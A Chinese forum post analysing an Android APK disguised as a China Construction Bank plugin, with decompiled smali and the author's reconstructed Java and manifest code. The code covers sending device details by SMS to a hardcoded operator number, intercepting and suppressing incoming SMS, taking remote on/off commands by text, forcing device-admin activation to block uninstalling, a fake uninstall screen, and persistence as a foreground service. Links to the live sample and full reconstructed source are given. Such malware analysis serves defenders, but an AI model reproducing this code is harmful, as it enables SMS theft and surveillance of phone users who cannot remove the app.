[移动样本分析] 【原创】某伪装建设银行插件apk病毒分析(附源码)

本帖最后由 元亨利之贞 于 2013-11-14 20:42 编辑

225717rm1heejemlq6qfnm.png225717orv00rw4vgovqo6r.png
样本下载地址:http://yunpan.cn/Q9NBdg6nqP4Fp    密码123
  源代码:http://yunpan.cn/Q9DXRkGIkagmL
  源码附件是自己逆的,可能在某个逻辑上存在错误,但是大部分功能已经实现,还望海涵
  样本反编译后会出现许多java文件,其中有几个已被混淆命名为a,b,c,d
  在本文中a对应源码中的FilterSMS
  b类对应sendTelMessageByHandler
  c类对应sendhandlerMessage
  d类对应OrderManagement
  apk启动的第一个activity为MainActivity

  并非跟apk代码一模一样 但是逻辑功能尽可能贴近作者  代码写的很烂 各位见谅
                   测试平台:android2.3.3
  请在虚拟机中运行,切勿在真机中运行
  当在虚拟机中安装运行,“激活”之后 正确的卸载方法是:在“设备管理器”中将其取消放能卸载
  虽然该apk只有几百k 但是工程代码还是挺多的
  
  样本主要行为描述:
  (1)在“设备管理器”中注册该apk,使得用户卸载失败,从而达到不让用户卸载的目的
         具体来说 当运行该apk时,只要用户点击激活 将在注册该apk 这就是激活条件
  (2)注册卸载广播,监听卸载。当用户卸载该apk时,该apk将误导用户点击“卸载程序”实际上
         将执行其UninstallerActivity显示 "应用程序尚未安装在您的手机上" 并且执行服务
    225716v1jnmjp7k2zn4zpd.png
(3)运行后 将创建服务监听用户短信,过滤发过来的短信进行相应的行为,其号码为:
         18458144548。这个功能类似远控了。即回复com@false关闭com@true开启/关闭服务
         为了让服务不被结束掉,该apk在通知栏中被运行 如图:
  225717n7v00cqy5jjjvymm.png

(4)注册监听短信广播,同样用于过滤用户短信,其中一个过滤条件是只拦截2013-10-20 00:00:00  之后的短信。 当拦截到短信后 根据配置项islj 如果为ture或者联系人包含作者也就是18458144548 则终止广播
  (5) 类BootReceiver代码检查服务是否运行
   以上是主要行为 其他细节 后面说到 由于代码较多有些代码还是看源码把
apk样本流程:安装apk后,首先注册receiver监听短信其类为SmSReceiver,注册类BootReceiver实现开机启动,注册类uninstallerActivity监听卸载事件。之后启动MainActivity
发送用户手机版本等信息发送到指定手机,注册设备管理器,之后开启短信监听服务,再判断设备管理器中是否激活
该apk 如无则弹出框欺骗用户点击“激活”
    行为(1)代码:
    在MainActivity中的onCreate中主要完成发送设备信息到指定号码,开启服务,注册设备管理器, 反编译代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//发送设备信息
const -string v1, "18458144548" //手机号码
 
new -instance v2, Ljava/lang/StringBuilder;
 
const -string v3, "\u624b\u673a\u5df2\u5b89\u88c5\u8f6f\u4ef6,\u56de\u590dcom@false\u5173\u95edcom@true\u5f00\u542f, \u7248\u672c"
 
invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
 
sget v3, Landroid/os/Build$VERSION;->SDK_INT:I //获取版本
 
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
 
move-result-object v2
 
const -string v3, " "
 
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
 
move-result-object v2
 
sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String; //获取MODEL
 
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
 
move-result-object v2
 
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
 
move-result-object v2
//发送短信,对应源码中OrderManagement的sendTelMessage的方法
invoke-virtual {v0, v1, v2, v5}, Lcn/android/emial/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V


其对应的源码为:

[Java] 纯文本查看 复制代码

?

1
2
3
4
5
6
7
OrderManagement send= new OrderManagement();
if (! "Q049U0hBWUZN" .equals(OrderManagement.encodeX509( this ))) {
send.sendTelMessage( "5558" , new String( "手机已安装软件,回复com@false关闭com@true开启, 版本"
+Build.VERSION.SDK_INT
+ " "
+Build.MODEL)
, null );



注册设备管理器代码:该设备管理器需要一个xml,而该xml的格式可以查看DevicePolicyManager类的文档  该xml的格式如下:这就是为什么在程序启动的时候为什么会出现激活界面,详见android文档

[Java] 纯文本查看 复制代码

?

1
2
3
4
5
6
7
<?xml version= "1.0" encoding= "utf-8" ?>
<device-admin
xmlns:android= "http://schemas.android.com/apk/res/android" >
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>



注册设备管理器代码:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const -string v0, "device_policy"
 
invoke-virtual {p0, v0}, Lcn/android/emial/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
 
move-result-object v0
 
check-cast v0, Landroid/app/admin/DevicePolicyManager;
 
iput-object v0, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
 
new -instance v0, Landroid/content/ComponentName;
 
const - class v1, Lcn/android/emial/DeviceReceiver;
 
invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
 
iget-object v1, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
 
invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
 
move-result v1
//判断是否已经在设备管理中激活
if -nez v1, :cond_0
 
new -instance v1, Landroid/content/Intent;
 
const -string v2, "android.app.action.ADD_DEVICE_ADMIN"
 
invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
 
const -string v2, "android.app.extra.DEVICE_ADMIN"
 
invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
 
const -string v0, "android.app.extra.ADD_EXPLANATION"
 
const -string v2, "\u8bbe\u5907\u7ba1\u7406\u5668"
 
invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
 
const / 4 v0, 0x0
 
invoke-virtual {p0, v1, v0}, Lcn/android/emial/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V
 
:cond_0
invoke-virtual {p0}, Lcn/android/emial/MainActivity;->finish()V



其源代码为:

[Java] 纯文本查看 复制代码

?

1
2
3
4
5
6
//判断指定的组件是否被激活,如无激活则创建,也就是在设备管理中 该程序是否被激活
if (a.isAdminActive(componentName)== false ) {
Intent intent1= new Intent( "android.app.action.ADD_DEVICE_ADMIN" );
intent1.putExtra( "android.app.extra.DEVICE_ADMIN" , new ComponentName( this ,deviceReceiver2. class ));
intent1.putExtra( "android.app.extra.ADD_EXPLANATION" , "设备管理器" );
startActivity(intent1);


最后 还要在xml中申明该类deviceReceiver2

[Java] 纯文本查看 复制代码

?

1
2
3
4
5
6
<receiver android:label= "System 设备管理器" android:name= "com.example.emial.deviceReceiver2" android:permission= "android.permission.BIND_DEVICE_ADMIN" android:description= "@string/action_settings" >
<meta-data android:name= "android.app.device_admin" android:resource= "@xml/lock_screen" />
<intent-filter>
<action android:name= "android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>



行为(2)代码:注册卸载广播
这断代码简单 在xml中申明即可:

[Java] 纯文本查看 复制代码

?

1
2
3
4
5
6
7
8
<activity android:name= "uninstallerActivity" android:label= "卸载程序" >
<intent-filter android:priority= "2147483647" >
<action android:name= "android.intent.action.VIEW" />
<action android:name= "android.intent.action.DELETE" />
<category android:name= "android.intent.category.DEFAULT" />
<data android:scheme= "package" />
</intent-filter>
</activity>


当用户点击“卸载程序” 就会执行uninstallerActivity


行为(3)代码:创建服务监听用户短信
该服务主要是类smSserver 是在mainActivity中的oncreate创建的
该类主要让服务总在前台运行,使之不被系统回收,之后动态注册各自监听器,以达到监听用户短信之用

[Java] 纯文本查看 复制代码

?

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
new -instance v0, Landroid/app/Notification; //创建通知栏
 
const v1, 0x7f020001
 
const -string v2, ""
 
invoke- static {}, Ljava/lang/System;->currentTimeMillis()J
 
move-result-wide v3
 
invoke-direct {v0, v1, v2, v3, v4}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V
 
new -instance v1, Landroid/content/Intent;
 
invoke-direct {v1}, Landroid/content/Intent;-><init>()V
 
new -instance v2, Landroid/widget/RemoteViews;
 
invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getPackageName()Ljava/lang/String;
 
move-result-object v3
 
const /high16 v4, 0x7f03
 
invoke-direct {v2, v3, v4}, Landroid/widget/RemoteViews;-><init>(Ljava/lang/String;I)V
 
iput-object v2, v0, Landroid/app/Notification;->contentView:Landroid/widget/RemoteViews;
 
invoke- static {p0, v5, v1, v5}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
 
move-result-object v1
 
iput-object v1, v0, Landroid/app/Notification;->contentIntent:Landroid/app/PendingIntent;
 
const / 16 v1, 0x64
//将服务至于前台 使之不被结束
invoke-virtual {p0, v1, v0}, Lcn/android/emial/SmSserver;->startForeground(ILandroid/app/Notification;)V
 
new -instance v0, Landroid/content/IntentFilter;
 
invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
 
const -string v1, "android.provider.Telephony.SMS_RECEIVED"
 
invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
 
const -string v1, "android.provider.Telephony.SMS_RECEIVED_2"
 
invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
 
const -string v1, "android.provider.Telephony.GSM_SMS_RECEIVED"
 
invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
 
const / 16 v1, 0x3e8
 
invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V
 
new -instance v1, Lcn/android/emial/SmSReceiver;
 
invoke-direct {v1}, Lcn/android/emial/SmSReceiver;-><init>()V
 
iput-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver;
 
iget-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver;
 
const -string v2, "android.permission.BROADCAST_SMS"
// 动态注册监听广播 使之优先级更高确保监听
invoke-virtual {p0, v1, v0, v2, v6}, Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;Ljava/lang/String;Landroid/os/Handler;)Landroid/content/Intent;
 
new -instance v0, Lcn/android/emial/SmSReceiver;
 
invoke-direct {v0}, Lcn/android/emial/SmSReceiver;-><init>()V
 
iput-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver;
 
iget-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver;
 
new -instance v1, Landroid/content/IntentFilter;
 
const -string v2, "com.yfm.send"
 
invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
 
invoke-virtual {p0, v0, v1}, Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
 
new -instance v0, Lcn/android/emial/a;
 
invoke-direct {v0, p0, v6}, Lcn/android/emial/a;-><init>(Landroid/content/Context;Landroid/os/Handler;)V
 
iput-object v0, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a;
 
invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getContentResolver()Landroid/content/ContentResolver;
 
move-result-object v0
 
sget-object v1, Lcn/android/emial/SmSserver;->a:Landroid/net/Uri;
 
const / 4 v2, 0x1
 
iget-object v3, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a;
 
invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V
 
new -instance v0, Lcn/android/emial/c;
 
invoke-direct {v0, p0}, Lcn/android/emial/c;-><init>(Lcn/android/emial/SmSserver;)V
 
invoke-virtual {v0}, Lcn/android/emial/c;->start()V



其源码为:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Notification notification= new Notification(R.drawable.ic_launcher, "" ,System.currentTimeMillis()); //v0
Intent intent= new Intent(); //v1
//RemoteViews在类的自定义通知的时候可以用到,用来设置自定义通知的布局资源
RemoteViews contentView= new RemoteViews(getPackageName(), R.layout.activity_main);
//检索一个PendingIntent,将启动一个新的activity,注意该activity将在一个存在的activity的上下文之外启动
PendingIntent contentIntent =PendingIntent.getActivity( this , 0 ,intent, 0 );
//通过startForeground让服务前台运行,以免长时间不用而被kill
//如果不加setLatestEventInfo函数 将导致奔溃,但原来的代码中却没有
notification.setLatestEventInfo( this , "点击查看" , "点击查看详细内容" ,contentIntent);
startForeground( 100 ,notification);
 
IntentFilter intentFilter= new IntentFilter(); //v0
intentFilter.addAction( "android.provider.Telephony.SMS_RECEIVED" );
intentFilter.addAction( "android.provider.Telephony.SMS_RECEIVED_2" );
intentFilter.addAction( "android.provider.Telephony.GSM_SMS_RECEIVED" );
intentFilter.setPriority( 0x3e8 );
 
b= new SmSReceiver();
c= new SmSReceiver();
IntentFilter intentFilter2= new IntentFilter( "com.yfm.send" );
//动态注册监听广播
this .registerReceiver(b,intentFilter, "android.permission.BROADCAST_SMS" , null );
this .registerReceiver(c, intentFilter2);
 
d= new FilterSMS( this , null );
ContentResolver contentResolver=getContentResolver();
//为指定的Uri注册一个ContentObserver派生类实例,当给定的Uri发生改变时,回调该实例对象去处理。
contentResolver.registerContentObserver(uri, true , d);
//创建sendhandlerMessage类,启动其线程
new sendhandlerMessage().start();



行为(4)代码:静态注册监听广播,过滤短信
首先是在xml中申明该监听器:

[Java] 纯文本查看 复制代码

?

1
2
3
4
5
6
7
8
<receiver android:name= "SmSReceiver" >
<intent-filter android:priority= "2147483647" >
<action android:name= "android.provider.Telephony.SMS_RECEIVED" />
<action android:name= "android.provider.Telephony.SMS_RECEIVED_2" />
<action android:name= "android.provider.Telephony.GSM_SMS_RECEIVED" />
<category android:name= "android.intent.category.DEFAULT" />
</intent-filter>
</receiver>


SmSReceiver类会在拦截短信进行一些判断 如时间是否在2013-10-20 00:00:0之后 然后调用
a(Landroid/os/Bundle;Landroid/content/Context;Lcn/android/emial/SmSReceiver;)V方法
也就是SMShijacking方法 进一步判断是否终止广播
这段涉及到几个类 为了不使文章过于长  就不列出源码了 具体看工程文件把


行为(5)代码:类BootReceiver 检查服务是否正在运行
该类调用.method public static a(Landroid/content/Context;Ljava/lang/String;)Z方法也就是源码中的GetService来遍历当前服务 看该apk服务是否运行
//GetService如下

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
.method public static a(Landroid/content/Context;Ljava/lang/String;)Z
.locals 5
 
const / 4 v1, 0x0
 
const -string v0, "activity"
 
invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
 
move-result-object v0
 
check-cast v0, Landroid/app/ActivityManager;
 
const / 16 v2, 0x28
 
invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
 
move-result-object v3
 
invoke- interface {v3}, Ljava/util/List;->size()I
 
move-result v4
 
move v2, v1
 
:goto_0
if -lt v2, v4, :cond_0
 
move v0, v1
 
:goto_1
return v0
 
:cond_0
invoke- interface {v3, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
 
move-result-object v0
 
check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
 
iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
 
invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
 
move-result-object v0
 
invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
 
move-result v0
 
if -eqz v0, :cond_1
 
const / 4 v0, 0x1
 
goto :goto_1
 
:cond_1
add- int /lit8 v0, v2, 0x1
 
move v2, v0
 
goto :goto_0
.end method



源码为:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
public static Boolean GetService(Context context,String ServiceName)
{
//得到系统的全局activity状态
ActivityManager activityManager=(ActivityManager) context.getSystemService( "activity" );
//返回当前正在运行的服务列表,此方法仅用于调试或实现了服务管理型的用户接口。参数为返回的最大数目
List<ActivityManager.RunningServiceInfo> activitylist= activityManager.getRunningServices( 0x28 ); //v4
 
 
for ( int i = 0 ; i < activitylist.size(); i++)
{
//如果当前服务的类名与context相等
if (activitylist.get(i).service.getClassName().equals(ServiceName)) {
return true ;
}
 
}
return false ;
 
}



接着在onReceive方法中 调用GetService方法

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 4
 
const -string v0, "cn.android.emial.SmSserver"
 
invoke- static {p1, v0}, Lcn/android/emial/BootReceiver;->a(Landroid/content/Context;Ljava/lang/String;)Z
 
move-result v0
 
const -string v1, "phone"
 
new -instance v2, Ljava/lang/StringBuilder;
 
const -string v3, "server_"
 
invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
 
invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
 
move-result-object v2
 
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
 
move-result-object v2
 
invoke- static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
 
if -nez v0, :cond_0
 
new -instance v0, Landroid/content/Intent;
 
const - class v1, Lcn/android/emial/SmSserver;
 
invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
 
const /high16 v1, 0x1000
 
invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
 
invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
 
:cond_0
return - void
.end method


源码为:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Boolean TheServiceIsRunBoolean= GetService( context, "com.example.emial" ); //v0
Log.i( "phone" , "server_" +TheServiceIsRunBoolean);
if (TheServiceIsRunBoolean== false ) { //如果当前服务没有运行则再次启动服务
Intent intentnew= new Intent(context,smSserver. class );
intentnew.addFlags( 0x1000 );
context.startService(intentnew);
}
 
 
}



差不多就写到这里  具体内容结合源码 才能体会 如果错误 还望包涵


你可能感兴趣的:(网络安全)